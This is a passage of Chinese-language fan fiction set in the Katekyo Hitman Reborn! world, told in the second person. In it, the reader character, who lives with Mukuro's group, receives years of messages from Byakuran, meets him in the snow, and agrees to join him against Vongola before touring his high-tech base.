他嘴里突然冒出了一句话,这也是你之前就产生过的想法。 城岛犬单手撑住沙发靠背, 他纵身一跃, 你只觉得自己身下一沉,扭过头, 你看到城岛犬整个人往上蹦了蹦。 你刚和他对视上,下一秒,城岛犬就像稳不住四肢的笨蛋小狗,歪斜着身体朝你靠过来。 你顺势张开双手抱住他,惯性的作用下, 你被城岛犬扑倒,毛茸茸的脑袋抵着你的脖子, 城岛犬下意识放缓的呼吸, 他没有立刻抬起头,而是就着这个姿势黏糊糊地抱住你。 不管过了多久,你还是不太习惯炙热的呼吸喷洒在你耳后、脖颈和颈窝处。不自然地偏过头,你的眼前掠过一道漂亮的金色弧影——是犬的金发。 你伸手轻轻碰上他的脑袋,像是给动物顺毛,细白的手指缓缓插入毛茸茸的金色发丝,你从犬的发根一路摸到发尾。 在你的抚摸下,城岛犬的身体不自觉轻微颤动着, 他忍不住把脑袋往下埋得更深,隐约间,你似乎听到他喉间忍耐般地冒出几声细微的呜咽。 你眯起眼睛,指尖有一下没一下绕着他金色的发尾,偶尔,干净的指甲不经意间触碰到他的发根,另一手安抚般抚摸着犬的后背,你缓缓开口,“怎么突然提起了这个?” 城岛犬没有立刻回答,他的呼吸似乎重了几分,连带着声音都藏了几分莫名的哑意,“……是骸啦。” 极力克制喉间想要溢出来的奇怪声响,城岛犬难耐地开始磨牙,鼻尖全然被你的气息包裹,幽暗的金色眼眸里突兀覆上一层古怪的食欲色彩,城岛犬忍不住悄悄探出尖锐的犬牙虚虚碰着你的脖子。 喉结滚动,“咕咚”一声,城岛犬把口水和混杂着糟糕念头的食欲一同艰难咽下。 “骸大人最近产生了想要从并盛搬走的想法。” 你没有意识到城岛犬的饥饿,手指依旧勾着他的发丝,你继续漫不经心开口询问:“哦?那骸有没有提过他想搬去哪里?” 上一次你提出搬走的念头时,六道骸可是说想要近距离观察敌人的弱点,没想到瓦利亚一走,六道骸竟然也有了想走的想法。 你在说什么城岛犬已经听不清了。肚子里传来奇怪的绞痛感,嗅着你的味道,饥饿迫使他不断分泌口水,城岛犬控制不住贴紧你,鼻尖触碰上你的耳根。忽然,你脖子一凉,是城岛犬。他小心翼翼舔了下你。 “犬?” 喉间溢出古怪的呜咽声,城岛犬低哑着嗓音用气音请求你,“我能咬你一口吗,春也?” 城岛犬总是会有奇奇怪怪的理由亲近你。 你慢条斯理地揪住他的发根,“不可以哦。犬还没有回答我的话呢。” 头皮一痛,城岛犬总算清醒了些,他磨了磨牙,听话极了,“是意大利西西里岛,孕育无数黑手党的肮脏土壤。” 回答完后,在你的首肯下,城岛犬一口咬住了你。 腹部传来浓烈的饱胀感,城岛犬近乎满足地眯起锐利的金瞳,他有注意不将你咬伤,所以城岛犬只是叼着,没有用力咬下去。 也只有这个时候,你才会发现城岛犬身上始终存在的动物习性。 不过好在,你不觉得这有什么危险性,甚至,你愿意纵容犬的一些坏毛病。 在你们一致同意搬家后,来到意大利的第一天,你收到了一条来自Player的陌生短信。 第124章 这个世界无趣、荒诞、乏味, 所有的一切都触手可及。 成为密鲁菲奥雷的首领后,白兰时常会觉得这个世界无聊而没有挑战性,直到他成为了被选中的那个人, 继承无数平行世界自己的记忆后, 白兰更加确信了自己的独特。 ——这个世界就是一个巨大的游乐场。 才14岁的白兰慢条斯理地梳理着杂乱无序的记忆, 大脑骤然接收数不清的记忆, 白兰忍耐着大脑快要爆炸的疼痛,心里却是无比的愉悦。 修长白净的手指掐住绵软的棉花糖, 牙齿用力咬住, 原本蓬松的棉花糖瞬间压实,口腔充溢着甜腻的口感, 白兰坐在桌前,耐心细致地理顺平行世界自己的记忆并归类,另一只手不断记录着脑子里闪过的关键人物的名字。 彭格列、沢田纲吉、狱寺隼人、彩虹之子、尤尼……白兰重点在沢田纲吉和尤尼两个名字上画了个圈,狭长的眼睛眯起,回想起世界毁灭时盛大瑰丽的场景, 紫罗兰色的眼睛闪了闪。 “意大利西西里岛……”口中轻轻呢喃着沢田纲吉从并盛转学到黑手党学院的地点,白兰扔下笔, 随意靠上椅背, 他漫不经心将目光投向窗外,手指伸入棉花糖包装袋内部,白兰肆意抓住一大把棉花糖。 绵软细腻的棉花糖溢出他的指缝,有几颗都快要掉到地面,但白兰毫不在意。刺眼的阳光透过窗户直直照入他眼底,衬得他本就不深的瞳色更加浅淡。 白兰一股脑地把手心里满溢的棉花糖尽数塞入嘴巴,甜腻的味道勉强减轻了些他大脑过载的负担,他像兽类一样残忍地咀嚼着棉花糖, 直到一整包棉花糖都消失在他嘴里,白兰这才慢条斯理地舔舐着自己指腹上的白色糖霜。 “就让我来看看,这个世界的沢田纲吉是不是也像其他世界一样有趣吧~” 白兰现在还在意大利,按照时间线,这时的沢田纲吉正好好待在并盛接受彩虹之子——里包恩的教导。简单处理完密鲁菲奥雷的事务,白兰坐着飞机慢悠悠来到了并盛,然后他就看到了一个空壳子。 “看来时间上存在点误差啊。” 随手捏起一颗棉花糖扔进嘴里,白兰漫不经心垂下眼睛。 ……有点意思。 ‘啊,你说沢田纲吉啊,他们早就转走了,也不知道具体去了哪所学校。’ ‘春也前脚就走,沢田纲吉后脚就跟上,很难不怀疑沢田纲吉的想法啊。’ ‘嗯?你问春也?她可是能和饿并盛魔王齐名的伟大传说啊!!’ …… 白兰也没有失望,更何况,他可是拿到了其他平行世界都没有的情报呢。 今春也…… 轻声念着你的名字,甜腻的嗓音像蓬松绵软的棉花糖毫无威胁,锋利的牙齿近乎是撕咬开棉花糖柔软的皮层,白兰抱着满满一大袋的棉花糖离开了并盛,他重又回到了意大利,然后赴往了西西里岛。 脑海中不断侧写着没在其他平行世界注意到的「今春也」,或者应该说是出现…… 白兰任性又愉快地做下决定,他有一种强烈的预感,未来的生活不会太过乏味了。 “唔,见面前先来个小惊喜吧。”嗯哼,就先从短信惊喜开始~ 「Player:这个世界很糟糕,不是吗?」 「Player:要来和我一起改变它吗:)」 那么接下来,就先做些游戏开始前的准备工作吧。凉薄的眼睛微弯,白兰回到了密鲁菲奥雷的基地。 >>> 收信人除了玩家的名字,什么都没有显示,你本想告诉骸骸他们追踪来信,关上手机的那一刻,你忽然顿住动作,手指微动,屏幕重新亮起,你盯着那行字看了很久,片刻后,你缓缓打出一行字。 “春也,你在做什么呢?”做完任务回来的城岛犬脱下外套,看你面无表情地拿着手机,城岛犬好奇凑了过来,你神色正常地熄灭屏幕。 “没什么,收到了一条垃圾短信。” 眼珠微动,和城岛犬一前一后回到家的柿本千种听到你的回答,他不动声色看了你一眼。 你的手机后来换成了骸大人的特殊定制款,里面装满了各种各样的防火墙、窃听装置和跟踪装置,根本不可能存在收到垃圾短信的可能,但柿本千种并没有戳穿你,幽深的蓝眼睛轻轻扫过你的眼睛,柿本千种慢吞吞走上前。 “既然是不重要的短信,直接忽略就好。” 天又开始热了起来,城岛打开冰箱拿出汽水,单手拉开易拉罐环,仰着头,他大口大口吞咽汽水,西瓜味的气泡水在嘴里轻微炸开,冰凉的温度顺着喉管一路蔓延到内脏,酥爽的凉意刺激的城岛犬打了个颤。 没有管嘴角溢出来的水珠,城岛犬又从冰箱里拿出一罐未开封的汽水抛向柿本千种,后者顺手接住,没有立刻开启。 炎热的温度下,冰凉的汽水才刚拿出来一会,铁制的易拉罐外边就开始冒出一颗颗小水珠。冰凉的小水珠滑过城岛犬的手指,然后又顺着他的指缝往下滴落。看到这一幕,你朝城岛犬招招手,后者嘴里一边说着做什么,一边快步朝你走了过来。 抽出几张纸巾,你简单擦了擦那些不断滴落的水珠,“水都掉到地上了。” 柿本千种眯眼,他淡淡瞥了眼地上的水渍:“犬会把它擦干净的。” 城岛犬反驳,“明明有扫地机器人,本大爷才不干哩。” 柿本千种平静盯着城岛犬,直把他看得心虚,柿本千种这才缓缓出声,“谁让你每次都不长记性,今天机器罢工一天。” 城岛犬看看被你擦干的手指,又看看滴了几滴水的地面,最终,他把目光投向你。城岛犬的视线太过明显,你连想忽视都做不到,嘴角上翘,你赞同了柿本千种的话,然后如愿看到城岛犬耷拉着脑袋拿拖把开始清理地面。 你慢悠悠坐在沙发,柿本千种自然靠在你旁边,手机里的那条短信最终还是被你删除了,直到沉寂在回收箱的信息彻底消失,你这才漠不关心地合上手机。 你本以为这只是一场简单的恶作剧,但你没有想到的是,这位陌生的神秘人坚持了两年。两年间,他断断续续地和你发着消息,尽管你很少回复他,但对面似乎也不在意,他光是一个人也能自言自语得很快乐。 而你也慢慢在这偶尔的交谈里得知了他是一位跳级读大学、喜好棉花糖的天才少年白兰·杰索。 两年后的今天,一摸一样的时间点,你的手机再次亮起屏幕。 「白兰(备注):Ciao~」 「白兰:你的手机可真难攻破,每次都会有新的难度出现呢。不过对我来说并不困难,我喜欢有挑战性的东西,这会让我觉得这个世界还是存在点乐趣的。」 他语气娴熟地和你说话,明明没有声音,你却莫名幻视了一道黏黏糊糊的甜腻声音,像夏天融化了的巧克力,每次查看白兰·杰索的信息,你都有种被他缠上的错觉。 你神色不明地看了几秒,正打算习惯性按下删除键时,对面又发来了一条消息。 「白兰:黑手党可真是可恶的存在,你觉得呢?」 「白兰:最近我的试验全都成功了,我想……」 「白兰:你会对它感兴趣的。」 话语的末尾附赠了一个笑脸,幽深的紫色眼睛下还带有刺青般的颠倒王冠,出于某种直觉,你觉得这是白兰身上的某种特征。 目光下移,你看向后边附上的地址和约见时间,无意识的,你记下了它们。指尖轻轻敲击着屏幕,你忽然对这个异常有毅力并且持续不断骚扰了你两年的白兰产生了点微妙的兴趣。 但愿这家伙不会让你扫兴。 眯起眼睛,你熟练删除短信。 第125章 白兰约见的那天恰好下了场大雪。 屋子里开着暖气, 你和犬、千种三个人一起窝在窗边的吊椅上,打开的电视机放着卡通频道,和子趴在窝里困倦地打了个哈欠, 尾巴轻轻覆上眼睛, 和子继续陷入温暖的睡眠。 你穿着绒绒的薄毛衣, 背靠柿本千种, 脚随意翘在城岛犬身上,然后看窗外安静的落雪, 耳边时不时响起几声犬游戏失败的音效。 你扭头看去, 城岛犬正在骂骂咧咧地玩他不擅长的恋爱游戏,如果不是被某个金毛混蛋挑衅, 城岛犬根本不会点开这种充满了粉红泡泡的游戏。 你身后传来柿本千种轻浅的呼吸声,炙热的温度隔着单薄的衣物源源不断传到你身上,柿本千种正放松地靠着你小憩,难得宁静的氛围,不知不觉, 困意渐渐涌上,你忍不住蹭了蹭身后的千种, 闭目养神间, 你的脑子里忽然闪过某个奇异的紫色颠倒王冠。 ——再过五小时,就是白兰定下的约定时间。 在你思考要不要去赴约时,“咔哒”一声,门开了。耳朵微动,你们同时接收到了信息。 六道骸抬起头的时候,看到的就是你们三小只齐刷刷探出脑袋看他的场景。眉眼柔和了一瞬,六道骸心情很好地挑眉。 屋内的温度偏高,很快, 堆积在肩膀上的雪开始融化,然后留下一片湿润的水痕,六道骸脱下外套,单手勾住领带,随意拉扯一番,他缓缓走向你们。 “kufufufufu…在做什么呢?” 你们三个人完全挤占了吊椅的空间,你和千种、犬互相挤挤,勉强又留出了一丝空隙给六道骸。六道骸本来没想坐下,不过目光落在亮晶晶的三双眼睛里,六道骸坐在了你们艰难空出的间隙里。这下,你们四个人彻底团做一团,要不是空调温度开得够低,你早就嫌弃地跑开了。 你:“犬在玩恋爱游戏呢。” 六道骸讶异,他问道:“哦~那犬通关了吗?” 你:“看他这个表现就知道肯定没有啦。” 一心二用的城岛犬听到了你们的对话,他不满道:“本大爷已经找到窍门了,很快就要成功了!” 柿本千种依旧困倦地耷拉着眼皮,脑袋蹭着你的脖颈,柿本千种的手贴着你的小肚子,双腿自然缠绕禁锢着你的腿,嗅着你的气息,他沉沉睡了过去。六道骸的视线轻轻扫过你们,目光微顿,他神态自然地移开视线。 半晌,像是想起什么,六道骸缓缓说道:“库洛姆今天不回来吃饭。” 你习以为常,“她又和京子小春一起去玩了吗?” 六道骸没有反驳,他可不是那种会约束手下私生活的恶劣老板。库洛姆能够解开束缚开朗起来,对你们来说是一件好事。 是的,你们还和京子有联系,并且通过笹川京子,你认识了隔壁学校的三浦春。两年前,你和骸骸、犬、千种、库洛姆从并盛搬走没多久,沢田纲吉他们也转学来到了意大利西西里岛。 和你们不同,沢田纲吉连同他的小伙伴一起在黑手党学院就读,而笹川京子自然随着他的哥哥一起赴往了意大利,不过笹川京子完全凭借自己的努力考上了意大利最优秀的高中,并且她一直在研读警校相关的专业书籍。 三浦春没有跟着一起去意大利,但在休息日,女孩子们还是会挑选一个好日子一起开个小聚会联络下感情。你只偶尔才会应邀,更多的时候,你还是选择自己一个人呆着。 两年来,在沢田纲吉不断的努力和认真争取下,你和他的关系维持在一个微妙的水准。 你也认真观察过六道骸,确实如他所说,你没有发现六道骸有半点不符合你要求的行为,相反,他揽下了大多数与黑手党有关的任务。与此同时,随着六道骸一日一日的任务,里世界渐渐传开了他神秘莫测、手段残忍的名声。 如果不是冠以彭格列雾守的称号的话,你想你会更加喜欢黑手党们对六道骸的恐惧与敬畏。 看着漫天飞舞的大雪,你想了很多很多。有的时候,只是偶尔,你难免会有些搞不懂自己内心真实的想法,你感觉自己现在像是被什么困住,只等一个契机出现,你才会彻底和自己、和过去释怀。 “今天晚上我会出门一趟。”声音因为困意而变得绵软,柿本千种已经睡熟了,城岛犬还在努力钻研他的游戏,听到你的话,城岛犬只以为你是和往常一样出门玩耍。 “要本大爷陪你吗?” “不用了,我想一个人。” 只有六道骸神色莫名地盯着你看了好一会儿,“kufufu…雪可不会在晚上停下呢,春也想要在大雪天出行吗?” “偶尔也会想要调剂一下心情。而且我喜欢雪。”后半句是真话。 六道骸没说好也没说不好,他神色冷静地扯起另一个话题。 “彭格列最近莫名遭受到了一些攻击,虽然对普通人的影响不大,不过根据对方的行为判断,隐在暗处的神秘人并不会轻易罢休。” “但是诡异的是,对手似乎异常了解彭格列的状况,也异常了解我们的作战计划和手段。” 目前,彭格列虽然损失不大,但六道骸隐隐有股不太妙的预感。不光是对彭格列,更是对你。 “如果春也想要出门的话,我……” 你打断了六道骸的话,“骸想说什么?” 六道骸顿住了,他静静望着你,六道骸也分不清自己内心真实的想法,所以他只是伸手缓缓摸上你的脸。俯身上前,六道骸轻声说道:“我们有了新的、强劲的敌人。” 你大概能猜到他是谁,但你并没有特别的反应,你只是轻声反问,“可那是彭格列的敌人,不是吗?” “怎么,难不成骸做久了彭格列的雾守,就真把自己当成了他们中的一员了吗?” 指腹不轻不重摩挲着六道骸的眼尾,直到苍白的肤色覆上一层红,你的手指开始下移,然后猛然拽住他松垮的领带。 “你忘记我们的目标了吗,骸?” 分不清是在蛊惑自己,还是在蛊惑六道骸,你只听到自己低哑着嗓音轻笑。 但是,这两年的相处你真的无所触动吗。 脑海里一闪而过沢田纲吉兴致勃勃地带你参观彭格列基地的场面,你想起他珍重地对你发誓,你想到他凭借自己的努力一路在里世界向上奔跑,你想到他在成为名副其实的里世界教父那一天,庄重向你承诺他会改变肮脏的黑手党世界。 沢田纲吉一直一直和他承诺的一样努力,他大力禁止贩毒拐卖人体实验。每时每刻,沢田纲吉都在经历数不清的暗杀和毒刺。 ……你不知道,你只是一直都在冷静地提醒骸,也沉默地提醒你自己不要掉入陷阱。 “kufufu…我当然没有忘记过。” 你平静注视着六道骸的眼睛,你在里面看到了你迷茫又沉默的倒影,片刻后,你松开了手。有些疲惫地捂住眼睛,你忽然尝到了从灵魂深处蔓延而来的苦味。 “kufufufu…不要露出这种神情,春也。”缓慢的语调带着奇异的温柔,六道骸俯身轻轻抚上你的脸,粗粝的手套慢慢抚摸过你苍□□致的眉眼,然后缓缓触摸上你泛着苦味的心跳。 “我永远不会忘记我们的意志,我只是担心,这个不定因素会影响到我们。” 他握住你的手腕,动作间,光线顷刻撒入你的眼睛,你看到了六道骸不断向你靠近。他给你无所不在的安全感、包裹在层层伪装下的爱意,和无法撼动的锚点。 “我们是永远的共犯,春也。” 带着凉意的吻落在你眼角,耳畔似乎是谁的轻笑,扰人的游戏音效渐渐远离你,无视肚子上缓缓收紧的手,你用力拽下六道骸的领带,然后狠狠咬住了他。 带着血迹的牙印像是某种印记,无声又强烈地彰显着它的存在感,你咽下嘴里浓浓的铁锈味,名为偏执的烙印刻在你幽暗的灰蓝眼睛里。 “骸,记住你说的。” 也是这一刻,你彻底下定决心要去见他——白兰·杰索。 雪越来越大了,你踩上雪地的那一瞬间,脚下发出轻微的嚓嚓声,小心拔出陷入小雪坑的脚,你慢慢来到了约定的地点。 此时,距离约定时间已经过了十分钟。 都不需要你认真寻找,你一眼就认出了白兰·杰索。 大雪天几乎没什么人出来,约定好的餐厅里,你隔着剔透的玻璃墙看到了安静坐在里面的白发少年,他的左眼下刻有一个紫色的颠倒王冠,桌子前还摆了一盘精致的甜品,白兰慢悠悠吃着甜品,忽然,像是察觉到什么,他敏锐抬眼,蓝紫视线交错的一瞬间,你很确定,白兰看到了你。 白兰周身散发着的无聊气场瞬间消散,他愉悦眯起眼睛,抬手亲昵地朝你打了个招呼,你抬脚迈入了餐厅。 “春也酱~”白兰亲呢地喊着你的名字,真实接触下,你才发现白兰实际的声音比你想象中的还要甜腻,像烤焦了缓慢开始融化的棉花糖,莫名甜的人发慌。 “没想到春也酱一眼就找到了我呢,我们还真是心有灵犀啊。” 你毫不留情打断了他的幻想,“这间餐厅里只有你一个客人。” 白兰不满地拉长尾音,像是在撒娇,“春也酱还真是无情啊~” “我觉得我们可以先跳过这些叙旧。”你直奔目的,“我想知道,你的那些所谓歼灭黑手党的计划具体是指什么?” 白兰没有立刻回答你,他轻飘飘打了个响指,原本的玻璃窗慢慢拉上厚重的窗帘,厅内灯光大亮,除了白兰和你,偌大的餐厅里再没有其他人的存在。 双腿优雅地交叠在一起,白兰悠悠舔舐了下指尖不小心蹭到的奶油,甜腻香浓的奶油味让他时时刻刻浸泡在平行世界的大脑短暂平静了一秒,白兰面上不显,单手托腮,他轻松弯起眼睛,“春也酱一上来就想知道我的计划,那么……” 凉薄的唇微弯,紫罗兰般幽深的眼睛眯起,微妙的、令人毛骨悚然的攻击性从他身上漫出,又在你警惕的炸毛后,白兰漫不经心收敛了周身的攻击性,仿佛刚才的威胁只是他的恶趣味。 “虽然是我主要找到春也酱的,但是——” “我的情报可不是免费拿的呢。” 白兰·杰索从来不是慈善家。 你警惕地看过去,白兰依旧是那副温和无害的模样,他慢悠悠叉起小蛋糕,森白的牙齿咬住叉子,舌头微卷,一小块蛋糕全部送入了他的口腔,白兰慢条斯理地咀嚼着,看到你警惕的模样,他像是不理解般轻笑出声。 “不用那么警惕,放轻松点,春也酱,在我这里,你的排名可是很靠前的呢。” 白兰拍拍手,“在此之前,先来点个菜吧。我为了等你,可是提早了一个小时来到这,肚子都快饿扁了~” 也只有这个时候,白兰才像个正常的普通人。 你安静观察了他好一会儿,后者注意到你的视线,他朝你露出一个天使般的治愈笑容,如果不是白兰刚刚刻意向你表露出的攻击性,你想大概会有很多人被他天使般的外表蛊惑。 很快,服务员来了,你翻阅着菜单,没有透露自己的喜好,你只随意点了几个看上去不难吃的菜。 白兰拿过你的菜单扫了眼,“唔,只有这些就可以了吗?” 白兰脸上照常挂着笑,但你敏锐看出他的眼底是一片冷漠。 “春也酱不诚实啊。” 宛若叹息般合上菜单,白兰脸上的笑容彻底消失,他面无表情地看向你,“看来春也酱不信任我呢。” 浮于言表的笑容消失后,没有表情的白兰看上去就像个真正没有感情的神明,柔软蓬松的白发懒洋洋翘起,白兰静静看着你,浓密的白色睫毛在眼底落下一层浅淡的阴影,给他平添了几分阴郁可怖的气质。 白兰知道你用餐的喜好。但是,白兰怎么会知道你用餐的喜好?你很确信,你并没有在交流中暴露过自己的喜好。 服务员脸上一直保持着微笑。指尖微顿,你冷哼道:“我倒是不知道,你对我的喜好那么清楚。” 你没有接过菜单,漫不经心掀起眼皮,指骨不轻不重敲击着桌面,你的眼底倒影着白兰没有笑意的脸。 “如果我没记错,最初是你先找上的我。” 白兰眨了下眼,他又变回了人畜无害的模样。 你:“先让我看看你的诚意。比如说……” 身子稍向前倾,你伸出手点了点菜单,“你对我的了解到达了哪一步。” 白兰:“噗哈哈哈哈。” 白兰忽然笑了,他语气轻佻又散漫,“嗯哼,我可比春也酱想象得要更了解你呢。” 这两年间,白兰并不是什么都没有做。你可是亿万兆平行世界里都唯一出现的变数,或者应该说是奇迹,白兰恨不得把你所有的情报都剖析完全。 只可惜,白兰找到的情报并不算隐秘,他粗略扫过那些无意义的情报后就把它们抛到了大脑深处。 微末的线索缓慢在脑袋里构筑成一个具体的人,两年来,白兰无数次幻想过真实的你究竟是什么模样,直到今天,他终于看到了。 你顺手拿起白兰点好的菜单,目光在你偏好的菜品上短暂停留几秒,半晌,你缓缓收回目光,没有多说什么。 只是一个偏好而已,这无法引起你全部的注意力。 “现在可以说了吧。”你缓缓合上菜单,开口道,“你的真实目的。” 白兰眯眼笑:“我只是一个普通路过的好心人。” 没等你开始不满,白兰往你们平静无波澜的对话里突然扔进了一个炸弹,“我知道春也可是非——常厌恶黑手党的呢。” 犹如伊甸园里诱惑夏娃吃下禁果的毒蛇,白兰单手撑着下巴,他轻笑着弯起眼睛,眼尾的肌肉牵扯下,左眼下的倒王冠刺青像是活了下来。 你听到海蛇剧毒的低语: “我可以帮你。” 你漫不经心地抬起眼皮,“我该怎么相信你?” “来我这里。你可以亲眼见证。”白兰慢条斯理地开口。“恰好,我的目标也是彭格列。” “当然,我知道春也酱的目标不单单是彭格列,但是,我们可以先从彭格列开始,不是吗?” 你脑海里闪过沢田纲吉绵软的天真笑容,回忆起六道骸的模糊不清的异瞳,你慢慢垂下眼睛,然后把视线重新投向等待你回答的白兰身上。 他穿着宽松的灰毛衣,修长白净的手指骨节分明,一边尝着意大利面,一边吃着冷饮甜品,自始至终,白兰的眼睛从未离开过你。 你暂时还无法确定白兰是敌是友,但是,你决定把这个不可控因素牢牢掌控在自己手里。 “看样子,你对自己很有自信。” 白兰拿叉子耐心搅着意大利面,他没有再说话,但从他最初的昵称里,你就看出了白兰本质上的傲慢和淡漠,他也丝毫不隐藏这一点。 “好吧,我想我们可以达成一致。” 白兰的虹膜颜色很浅,灯光照射下,他虹膜的颜色更加浅淡,显得白兰身上的非人感更加浓重。听到你肯定的回答,白兰愉悦地眯起眼睛。 终于,从现在起,拥有奇迹本身的人就是他自己。 第126章 白兰准备带你去他的基地。 “不过, 在此之前,让我先来为春也酱做个准备工作。”你听到白兰甜腻的轻笑在耳边响起,他从口袋里拿出一条灰蓝色的布, 那是和你眼睛相同颜色的布料。 眼看他抬手想要朝你走近, 你下意识后退一步, 嘴角绷紧, 你警惕地望着白兰,“这是做什么?” 眼眸微动, 白兰站定身体不再往前走, 手指捏着布条,他慢悠悠摊开双手降低自己的压迫感, 甜蜜的笑容挂在嘴角,白兰慢条斯理地开口。 “是布条,我可是努力了很久才调到你眼睛的色号呢。” “好歹我们接下来要去的地方是我的重要基地,这才第一次见面,我对春也酱的信任可还没到那种地步呢。” “蒙上眼睛可是最重要的一步啊。” 说完, 白兰安静站在原地,他一手抓着布条, 紫罗兰色的眼睛倒映着你缓慢放松的表情, 白兰的嘴角微不可察上翘一秒,他缓缓开口:“春也酱没有意见的话,就慢慢向我走来吧。” 白兰给足了你选择的时间。 你在心底反反复复思考,最终,你的选择正中白兰下怀。 白兰看你一步一步慢慢缩短你和他之间的距离,一股莫名的满足感从心底开始蔓延,直到你站到他面前,白兰垂下眼睛, 他缓缓向你倾身。 白兰轻咬着字,一串流利的意大利语缓缓没入你耳朵,“buono ragazza(好女孩~)” 恰好,你听懂了这句意语。 温热的指尖似有若无触碰到你的后脑勺,你不着痕迹皱了下眉,别过脸,你听到白兰从鼻腔发出一道微弱的哼笑。他手轻轻托着你的脑袋扶正,干净的嗓音像是裹了层粘牙的糖浆,黏黏糊糊试图将你包裹在他的蜜糖罐里。 黑暗慢慢遮住了你的眼睛,余光的最后,你只记得那双幽紫的淡漠瞳孔。意外的,你在里面望见了灰蓝的色彩。 柔软的布料完美贴合你的眼部,白兰又朝你靠近了些,你甚至都可以嗅到他衣物上浅淡的香水气息,他的手指穿插在你发间,布条缓缓收紧,是白兰在系结。 你安静站在原地保持不动,在脑海里描绘着白兰一步一步的动作,你慢慢在心里猜测着他的下一步。 萦绕在鼻尖的香气渐渐飘远,最终停留在你恰好能嗅到但又不会过度浓烈的位置。 系好蒙眼布条后,白兰牵起了你的手。 “为了防止春也酱走路摔倒,春也酱可以先拉着我的手。”白兰的声音离你不远也不近,干燥温暖的手触碰上你的一瞬间,你下意识想要抽离,本以为会受到阻碍,没想到白兰干脆利落收了手。他也没有再说话。 世界陷入寂静和黑暗,失去视觉后,你的其他感官变得异常敏锐,完全听不到白兰的动静,你绷紧嘴角。你不安地想要抓住什么,很快,熟悉的香气再次萦绕在你鼻尖,你下意识想要往香气飘来的方向迈步。 看不见路况,你踢到了椅子。黑暗的视野难以保持平衡,脚下一歪,你没有站稳,正要直直摔到地面时,伴着微不可闻的哼笑,溢满冷香的怀抱率先接住了你。 蒙上眼睛,你看不清白兰的眼睛,你只能感知到他抓住你手的体温。 白兰神色不明地低头看你,直到你伸手抓住了他的袖口,白兰眯起眼睛无声笑了下,“哦呀,春也酱差点摔倒了啊。” 白兰感叹:“果然,蒙上眼睛什么都看不到呢。” 你不解歪头,不知道为什么,你总觉得白兰这句话有点意有所指。你懒得搭理他突然的云里雾里,拽着白兰的衣袖,你慢吞吞想要迈出一步,踏出的脚还没落地呢,你忽然腾空而起。 你:?!! 骤然悬空让你心脏停了半秒,手指条件反射拽紧白兰的衣领,你还没开始骂呢,就听到白兰抱怨似的撒娇道:“嘶,春也酱下手可真狠,我都快踹不过气了。” 你:“哈?谁让你突然发神经抱我起来?!!” 白兰委屈:“我可是看春也酱走得困难,特意想了个好办法呢。你看,这下你就不会有任何风险了。” 除开最初那一下腾空,白兰之后一直稳稳抱着你,你时常无法理解这个年纪的少年为什么会有这么大的力气,不管走了多久,你始终没有听到白兰喘气的声音。 静谧的雪花缓慢落到你们身上,脸颊时而传来冰凉的触感,你忽然回忆起了你和骸、犬、千种看到的第一次雪。 时过境迁,只有你的心始终没有变过。 来到车前,白兰动作小心地把你放进了车里,同时,他还会用言语提醒你。 “要在这里找到一个不明显的停车位可真不是一件简单的事呢,放心,等到了基地我就会取下你眼睛上的布条,至于蒙眼这段时间,有我在,春也酱不用担心会有什么意外发生。” 手指小心摸上身下的座椅,你扭头看向窗外,只可惜除了一片漆黑,你什么都没有看到。鼻尖再次嗅到他的香气,你忍不住看向白兰所在的方向。 带着你轻易就能听出的亲昵,白兰俯身靠近你,拿着刚刚抽出的一张干净纸巾,白兰轻轻擦拭着你湿漉漉的脸蛋,“雪化得太快了。” 吸过水的纸巾被他随手扔进车载小垃圾袋里,白兰顺手替你系上安全带。 在此过程中,你始终保持着背靠椅背的动作,听着窸窸窣窣的声音,你忽然开口:“从餐厅到上车的这段距离,我完全可以自己走,你怎么没到车内再给我戴上布条?这样还省的像刚刚那样麻烦。” “咔哒”一声,安全带成功扣上,听到你的问话,白兰微扬起唇角,“我可不觉得刚刚是麻烦呢。” “唔,不过我还真没想到呢。”白兰不走心地笑道,“你也知道,最近我一直在对彭格列动手,过度接收信息下,就算是我,脑子也偶尔会出现一些短路。” 你:这算什么理由? 你开始试探:“我以后也需要一直戴着布条才能进你的基地吗?” 白兰听上去很惊讶,“春也酱这么会产生这么可怕的想法?” 后视镜里,浅到几乎要看不清瞳色的白兰漫不经心瞥了你一眼,眼底辨不清情绪,白兰一脚踩下油门,语气却是和行为不符的甜腻,“未来当然不用这么麻烦,春也酱可是我们的人啊。” “还是说,春也酱会有其他想法?” 手指搭在方向盘,白兰漫不经心碾过厚厚的雪层,梳理着记忆里关键的信息,白兰忽而笑了。 “就算有也没关系,春也酱在我这里可是拥有一定特权的啊。” 你完全搞不懂白兰的想法,闭着眼睛听他说话,你慢慢睡了过去。几乎是在你睡着的一瞬间,察觉到你呼吸变化的白兰安静了,他神色不明地侧头看了你一眼,白兰慢慢放缓了开车的速度。 他知道你现在不信任自己,不过白兰并不着急。 ——你会明白的,到最后真正能和你迈向未来的到底是谁。 第127章 到达目的地后, 白兰摘下了蒙在你眼睛上的布条,睫羽抖动,你缓缓睁开眼睛, 没有出现预想中刺目的白光, 你发现屋子里的光线恰好是你能够接受的明暗范程度。 你打量着眼前的房间, 你忍不住挑眉看向白兰, “这就是你的基地?” “这只是我的休息所。”见你适应光线后,白兰按下开关, “走吧, 我带你去看看我们的基地。” 白兰的基地充斥着浓烈的机械风格,你慢慢观察基地的环境, 这里的科技水平远高出外界,如果可以用等级来打分,外边正常世界的科技水准是及格线的6,而白兰个人的科技水平已经到达了几近完美的9分。 你:这绝对不正常。 辨不清情绪的目光投向白兰,你只换来后者一个无辜的歪头笑, 你默默移开了视线,“这些都是你一个人设计的?” 白兰随意扫了眼这些不断改进更新的仪器, 他漫不经心应了声。 准确的说, 这些机器是平行世界某个成为科学家的自己研造出来的,而另一个平行世界深造物理的自己在此基础上又改良了好几个版本,最终呈现在他脑海的就是现在完美的版本。 不过平行世界的他都是白兰本人,因此白兰毫不心虚地承认了。 看到你眼睛里难以掩盖的惊叹,白兰弯了弯嘴角,“你要是喜欢,到时候可以自己上手操作一番。这些东西可不难。” 白兰说的是你看中的那个机器人,“这个还只是一个半成品, 还在调试中,旁边那个你可以试着玩玩,太高大的会不好操控。” 某个平时世界的自己意外对机器人这些器械感兴趣,白兰顺便也拿来玩了玩,对他而言,确实没什么难度。 你仰头观察着有三个你那么高的机器人,听到白兰的话,视线下移,你终于注意到了在巨型机器人脚旁边的小机器人。胖乎乎的身体、圆润的大脑袋,小机器人看上去呆呆的,你的眼睛就像粘了层拉丝的胶水,无法从它身上移开。 你嗓音颤抖,无法抑制自己的激动,你不敢置信地扭头看向白兰,“我也可以驾驶它吗?!” 